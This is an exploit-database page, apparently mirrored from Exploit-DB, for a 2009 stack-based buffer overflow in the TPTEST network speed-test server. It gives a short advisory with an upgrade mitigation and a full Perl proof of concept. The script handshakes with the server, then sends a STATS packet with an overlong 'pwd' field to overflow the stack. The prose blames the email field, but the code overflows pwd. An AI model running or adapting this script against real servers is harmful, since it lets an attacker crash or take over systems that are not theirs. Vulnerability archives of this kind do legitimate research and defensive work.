TPTEST - exploit.company

vendor:

TPTEST

by:

ffwd

7.5

CVSS

HIGH

Stack-based Buffer Overflow

120

CWE

Product Name: TPTEST

Affected Version From: 3.1.2007

Affected Version To: 5.0.2

Patch Exists: YES

Related CWE: N/A

CPE: a:tptest:tptest

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

TPTEST <= 3.1.7 (maby also 5.0.2?) Stackbased Buffer Overflow POC

TPTEST is vulnerable to a stack-based buffer overflow vulnerability. This vulnerability can be exploited by sending a specially crafted STATS packet with an overly long email field to the server. This can allow an attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Upgrade to the latest version of TPTEST.

Source

Exploit-DB raw data:

#!/usr/local/bin/perl

# TPTEST <= 3.1.7 (maby also 5.0.2?)
# tptest.sourceforge.net
# stackbased buffer overflow poc in server (client can also be exploit)
# author: ffwd

use IO::Socket;($host,$port)=@ARGV;
$rem=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
if(!$rem){die "1\n";}$rem->autoflush(1);
$cookie=$major=$minor="123";
$r=<$rem>;print "$r";sleep 5; # to attach in gdb..
if($r=~/cookie=([0-9]*)/){$cookie=$1;}
if($r=~/vmajor=([0-9]*)/){$major=$1;}
if($r=~/vminor=([0-9]*)/){$minor=$1;}
$s="TEST vmajor=$major;vminor=$minor;mode=4;timeout=60;tcpbytes=0;cookie=$cookie;client=\r\n";
print "$s";print $rem "$s";$rr=<$rem>;print "$rr";
if($rr=~/^210 tcpdataport=([0-9]*)/)
{$data=$1;$remm=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$data);
if(!$remm){die "2\n";}}
$ss="STATS majorv=$major;minorv=$minor;pktssent=0;pktsunsent=0;pktsrcvd=0;bytessent=51200;bytesrcvd=0;".
"maxrtt=0;minrtt=999999999;totrtt=0;nortt=0;oocount=0;txstart_s=7274757975;txstart_us=717574;".
"txstop_s=7274757975;txstop_us=717173;rxstart_s=0;rxstart_us=0;rxstop_s=0;rxstop_us=0;email=;pwd=".
("A"x42)."\r\n"; # buffer overflow!
print "$ss";print $rem "$ss";
print while <$rem>;

# milw0rm.com [2009-02-16]